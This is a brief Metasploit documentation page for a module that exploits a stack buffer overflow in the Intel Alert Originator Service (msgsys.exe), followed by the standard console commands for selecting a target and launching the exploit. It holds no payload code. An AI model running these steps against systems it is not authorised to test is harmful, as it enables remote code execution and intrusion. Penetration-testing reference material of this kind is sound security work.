This module exploits a stack buffer overflow in Intel Alert Originator Service msgsys.exe. When an attacker sends a specially crafted alert, arbitrary code may be executed.
Windows
To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/windows/antivirus/symantec_iao
msf exploit(symantec_iao) > show targets
...targets...
msf exploit(symantec_iao) > set TARGET < target-id >
msf exploit(symantec_iao) > show options
...show and set options...
msf exploit(symantec_iao) > exploit
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